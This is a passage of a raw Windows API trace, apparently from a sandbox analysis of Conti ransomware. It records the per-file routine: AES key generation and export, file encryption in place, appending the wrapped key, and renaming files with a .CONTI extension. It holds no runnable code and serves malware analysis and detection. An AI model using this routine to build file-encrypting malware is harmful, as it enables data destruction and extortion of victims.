	[0148.098] WriteFile (in: hFile=0x2f0, lpBuffer=0x65d0c0c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x587f864, lpOverlapped=0x0 | out: lpBuffer=0x65d0c0c*, lpNumberOfBytesWritten=0x587f864*=0x20c, lpOverlapped=0x0) returned 1
	[0148.141] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0148.141] ReadFile (in: hFile=0x2f0, lpBuffer=0x10cf0000, nNumberOfBytesToRead=0x5d7, lpNumberOfBytesRead=0x587f884, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesRead=0x587f884*=0x5d7, lpOverlapped=0x0) returned 1
	[0148.141] CryptEncrypt (in: hKey=0x17de790, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x5d7, dwBufLen=0x500000 | out: pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x5e0) returned 1
	[0148.141] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0148.141] WriteFile (in: hFile=0x2f0, lpBuffer=0x10cf0000*, nNumberOfBytesToWrite=0x5e0, lpNumberOfBytesWritten=0x587f898, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesWritten=0x587f898*=0x5e0, lpOverlapped=0x0) returned 1
	[0148.141] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0148.141] WriteFile (in: hFile=0x2f0, lpBuffer=0x65d0c00*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x587f8b0, lpOverlapped=0x0 | out: lpBuffer=0x65d0c00*, lpNumberOfBytesWritten=0x587f8b0*=0x8, lpOverlapped=0x0) returned 1
	[0148.141] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0148.141] CloseHandle (hObject=0x2f0) returned 1
	[0148.141] GetProcessHeap () returned 0x1720000
	[0148.141] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0148.141] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Windows10Upgrade\\resources\\amd64\\nxquery.inf" | out: lpString1="C:\\Windows10Upgrade\\resources\\amd64\\nxquery.inf") returned="C:\\Windows10Upgrade\\resources\\amd64\\nxquery.inf"
	[0148.141] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\amd64\\nxquery.inf", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\amd64\\nxquery.inf.CONTI") returned="C:\\Windows10Upgrade\\resources\\amd64\\nxquery.inf.CONTI"
	[0148.141] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\amd64\\nxquery.inf" (normalized: "c:\\windows10upgrade\\resources\\amd64\\nxquery.inf"), lpNewFileName="C:\\Windows10Upgrade\\resources\\amd64\\nxquery.inf.CONTI" (normalized: "c:\\windows10upgrade\\resources\\amd64\\nxquery.inf.conti")) returned 1
	[0148.142] GetProcessHeap () returned 0x1720000
	[0148.142] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0148.142] CryptDestroyKey (hKey=0x17de790) returned 1
	[0148.142] GetProcessHeap () returned 0x1720000
	[0148.142] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e1558 | out: hHeap=0x1720000) returned 1
	[0148.142] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0148.142] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x65d2bf8 | out: phKey=0x65d2bf8*=0x17debd0) returned 1
	[0148.142] CryptExportKey (in: hKey=0x17debd0, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d2bfc, pdwDataLen=0x587f8ac | out: pbData=0x65d2bfc*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0148.143] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\i386\\BiosBlocks.xml" (normalized: "c:\\windows10upgrade\\resources\\i386\\biosblocks.xml")) returned 0x20
	[0148.146] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\i386\\BiosBlocks.xml" (normalized: "c:\\windows10upgrade\\resources\\i386\\biosblocks.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448
	[0148.746] GetLastError () returned 0x0
	[0148.746] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x587f858 | out: lpFileSize=0x587f858*=91648) returned 1
	[0148.746] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x16600
	[0148.747] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0148.747] SetEndOfFile (hFile=0x448) returned 1
	[0148.747] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0148.747] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0148.747] WriteFile (in: hFile=0x448, lpBuffer=0x65d2bfc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x587f864, lpOverlapped=0x0 | out: lpBuffer=0x65d2bfc*, lpNumberOfBytesWritten=0x587f864*=0x20c, lpOverlapped=0x0) returned 1
	[0149.381] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.381] ReadFile (in: hFile=0x448, lpBuffer=0x10cf0000, nNumberOfBytesToRead=0x16600, lpNumberOfBytesRead=0x587f884, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesRead=0x587f884*=0x16600, lpOverlapped=0x0) returned 1
	[0149.391] CryptEncrypt (in: hKey=0x17debd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x16600, dwBufLen=0x500000 | out: pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x16610) returned 1
	[0149.391] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0149.391] WriteFile (in: hFile=0x448, lpBuffer=0x10cf0000*, nNumberOfBytesToWrite=0x16610, lpNumberOfBytesWritten=0x587f898, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesWritten=0x587f898*=0x16610, lpOverlapped=0x0) returned 1
	[0149.391] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0149.391] WriteFile (in: hFile=0x448, lpBuffer=0x65d2bf0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x587f8b0, lpOverlapped=0x0 | out: lpBuffer=0x65d2bf0*, lpNumberOfBytesWritten=0x587f8b0*=0x8, lpOverlapped=0x0) returned 1
	[0149.391] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.391] CloseHandle (hObject=0x448) returned 1
	[0149.392] GetProcessHeap () returned 0x1720000
	[0149.392] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0149.507] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Windows10Upgrade\\resources\\i386\\BiosBlocks.xml" | out: lpString1="C:\\Windows10Upgrade\\resources\\i386\\BiosBlocks.xml") returned="C:\\Windows10Upgrade\\resources\\i386\\BiosBlocks.xml"
	[0149.507] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\i386\\BiosBlocks.xml", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\i386\\BiosBlocks.xml.CONTI") returned="C:\\Windows10Upgrade\\resources\\i386\\BiosBlocks.xml.CONTI"
	[0149.507] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\i386\\BiosBlocks.xml" (normalized: "c:\\windows10upgrade\\resources\\i386\\biosblocks.xml"), lpNewFileName="C:\\Windows10Upgrade\\resources\\i386\\BiosBlocks.xml.CONTI" (normalized: "c:\\windows10upgrade\\resources\\i386\\biosblocks.xml.conti")) returned 1
	[0149.508] GetProcessHeap () returned 0x1720000
	[0149.508] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0149.508] CryptDestroyKey (hKey=0x17debd0) returned 1
	[0149.508] GetProcessHeap () returned 0x1720000
	[0149.508] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65de920 | out: hHeap=0x1720000) returned 1
	[0149.508] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0149.508] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x65d4758 | out: phKey=0x65d4758*=0x17de750) returned 1
	[0149.508] CryptExportKey (in: hKey=0x17de750, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d475c, pdwDataLen=0x587f8ac | out: pbData=0x65d475c*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0149.509] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\block.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\block.png")) returned 0x20
	[0149.509] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\block.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\block.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0149.509] GetLastError () returned 0x0
	[0149.509] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x587f858 | out: lpFileSize=0x587f858*=919) returned 1
	[0149.509] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x397
	[0149.509] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0149.510] SetEndOfFile (hFile=0x39c) returned 1
	[0149.510] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.510] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0149.510] WriteFile (in: hFile=0x39c, lpBuffer=0x65d475c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x587f864, lpOverlapped=0x0 | out: lpBuffer=0x65d475c*, lpNumberOfBytesWritten=0x587f864*=0x20c, lpOverlapped=0x0) returned 1
	[0149.514] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.514] ReadFile (in: hFile=0x39c, lpBuffer=0x10cf0000, nNumberOfBytesToRead=0x397, lpNumberOfBytesRead=0x587f884, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesRead=0x587f884*=0x397, lpOverlapped=0x0) returned 1
	[0149.514] CryptEncrypt (in: hKey=0x17de750, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x397, dwBufLen=0x500000 | out: pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x3a0) returned 1
	[0149.514] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0149.514] WriteFile (in: hFile=0x39c, lpBuffer=0x10cf0000*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x587f898, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesWritten=0x587f898*=0x3a0, lpOverlapped=0x0) returned 1
	[0149.514] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0149.515] WriteFile (in: hFile=0x39c, lpBuffer=0x65d4750*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x587f8b0, lpOverlapped=0x0 | out: lpBuffer=0x65d4750*, lpNumberOfBytesWritten=0x587f8b0*=0x8, lpOverlapped=0x0) returned 1
	[0149.515] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.515] CloseHandle (hObject=0x39c) returned 1
	[0149.515] GetProcessHeap () returned 0x1720000
	[0149.515] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0149.515] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Windows10Upgrade\\resources\\ux\\block.png" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\block.png") returned="C:\\Windows10Upgrade\\resources\\ux\\block.png"
	[0149.515] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\ux\\block.png", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\block.png.CONTI") returned="C:\\Windows10Upgrade\\resources\\ux\\block.png.CONTI"
	[0149.515] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\block.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\block.png"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\block.png.CONTI" (normalized: "c:\\windows10upgrade\\resources\\ux\\block.png.conti")) returned 1
	[0149.517] GetProcessHeap () returned 0x1720000
	[0149.517] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0149.517] CryptDestroyKey (hKey=0x17de750) returned 1
	[0149.517] GetProcessHeap () returned 0x1720000
	[0149.517] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740e00 | out: hHeap=0x1720000) returned 1
	[0149.517] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0149.517] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x65d49a0 | out: phKey=0x65d49a0*=0x17de490) returned 1
	[0149.517] CryptExportKey (in: hKey=0x17de490, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d49a4, pdwDataLen=0x587f8ac | out: pbData=0x65d49a4*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0149.518] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\bullet.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\bullet.png")) returned 0x20
	[0149.518] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\bullet.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\bullet.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0149.519] GetLastError () returned 0x0
	[0149.519] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x587f858 | out: lpFileSize=0x587f858*=221) returned 1
	[0149.519] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xdd
	[0149.519] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0149.519] SetEndOfFile (hFile=0x39c) returned 1
	[0149.523] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.523] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0149.523] WriteFile (in: hFile=0x39c, lpBuffer=0x65d49a4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x587f864, lpOverlapped=0x0 | out: lpBuffer=0x65d49a4*, lpNumberOfBytesWritten=0x587f864*=0x20c, lpOverlapped=0x0) returned 1
	[0149.525] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.525] ReadFile (in: hFile=0x39c, lpBuffer=0x10cf0000, nNumberOfBytesToRead=0xdd, lpNumberOfBytesRead=0x587f884, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesRead=0x587f884*=0xdd, lpOverlapped=0x0) returned 1
	[0149.525] CryptEncrypt (in: hKey=0x17de490, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0xdd, dwBufLen=0x500000 | out: pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0xe0) returned 1
	[0149.525] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0149.525] WriteFile (in: hFile=0x39c, lpBuffer=0x10cf0000*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x587f898, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesWritten=0x587f898*=0xe0, lpOverlapped=0x0) returned 1
	[0149.526] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0149.526] WriteFile (in: hFile=0x39c, lpBuffer=0x65d4998*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x587f8b0, lpOverlapped=0x0 | out: lpBuffer=0x65d4998*, lpNumberOfBytesWritten=0x587f8b0*=0x8, lpOverlapped=0x0) returned 1
	[0149.526] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.526] CloseHandle (hObject=0x39c) returned 1
	[0149.526] GetProcessHeap () returned 0x1720000
	[0149.526] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0149.526] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Windows10Upgrade\\resources\\ux\\bullet.png" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\bullet.png") returned="C:\\Windows10Upgrade\\resources\\ux\\bullet.png"
	[0149.526] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\ux\\bullet.png", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\bullet.png.CONTI") returned="C:\\Windows10Upgrade\\resources\\ux\\bullet.png.CONTI"
	[0149.526] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\bullet.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\bullet.png"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\bullet.png.CONTI" (normalized: "c:\\windows10upgrade\\resources\\ux\\bullet.png.conti")) returned 1
	[0149.526] GetProcessHeap () returned 0x1720000
	[0149.526] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0149.526] CryptDestroyKey (hKey=0x17de490) returned 1
	[0149.526] GetProcessHeap () returned 0x1720000
	[0149.527] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17410a0 | out: hHeap=0x1720000) returned 1
	[0149.527] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0149.527] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x65d4e30 | out: phKey=0x65d4e30*=0x17de6d0) returned 1
	[0149.527] CryptExportKey (in: hKey=0x17de6d0, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d4e34, pdwDataLen=0x587f8ac | out: pbData=0x65d4e34*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0149.527] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\default.htm")) returned 0x20
	[0149.528] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\default.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0149.528] GetLastError () returned 0x0
	[0149.528] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x587f858 | out: lpFileSize=0x587f858*=62541) returned 1
	[0149.528] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xf44d
	[0149.528] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0149.528] SetEndOfFile (hFile=0x39c) returned 1
	[0149.528] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.528] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0149.528] WriteFile (in: hFile=0x39c, lpBuffer=0x65d4e34*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x587f864, lpOverlapped=0x0 | out: lpBuffer=0x65d4e34*, lpNumberOfBytesWritten=0x587f864*=0x20c, lpOverlapped=0x0) returned 1
	[0149.532] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.532] ReadFile (in: hFile=0x39c, lpBuffer=0x10cf0000, nNumberOfBytesToRead=0xf44d, lpNumberOfBytesRead=0x587f884, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesRead=0x587f884*=0xf44d, lpOverlapped=0x0) returned 1
	[0149.535] CryptEncrypt (in: hKey=0x17de6d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0xf44d, dwBufLen=0x500000 | out: pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0xf450) returned 1
	[0149.535] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0149.535] WriteFile (in: hFile=0x39c, lpBuffer=0x10cf0000*, nNumberOfBytesToWrite=0xf450, lpNumberOfBytesWritten=0x587f898, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesWritten=0x587f898*=0xf450, lpOverlapped=0x0) returned 1
	[0149.535] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0149.535] WriteFile (in: hFile=0x39c, lpBuffer=0x65d4e28*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x587f8b0, lpOverlapped=0x0 | out: lpBuffer=0x65d4e28*, lpNumberOfBytesWritten=0x587f8b0*=0x8, lpOverlapped=0x0) returned 1
	[0149.536] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.536] CloseHandle (hObject=0x39c) returned 1
	[0149.536] GetProcessHeap () returned 0x1720000
	[0149.536] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0149.536] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Windows10Upgrade\\resources\\ux\\default.htm" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\default.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\default.htm"
	[0149.536] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\ux\\default.htm", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\default.htm.CONTI") returned="C:\\Windows10Upgrade\\resources\\ux\\default.htm.CONTI"
	[0149.536] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\default.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\default.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\default.htm.CONTI" (normalized: "c:\\windows10upgrade\\resources\\ux\\default.htm.conti")) returned 1
	[0149.536] GetProcessHeap () returned 0x1720000
	[0149.536] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0149.536] CryptDestroyKey (hKey=0x17de6d0) returned 1
	[0149.536] GetProcessHeap () returned 0x1720000
	[0149.536] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e13b8 | out: hHeap=0x1720000) returned 1
	[0149.536] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0149.536] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x65da050 | out: phKey=0x65da050*=0x17debd0) returned 1
	[0149.537] CryptExportKey (in: hKey=0x17debd0, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65da054, pdwDataLen=0x587f8ac | out: pbData=0x65da054*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0149.537] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default_eos.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_eos.htm")) returned 0x20
	[0149.537] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default_eos.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_eos.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0149.538] GetLastError () returned 0x0
	[0149.538] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x587f858 | out: lpFileSize=0x587f858*=55866) returned 1
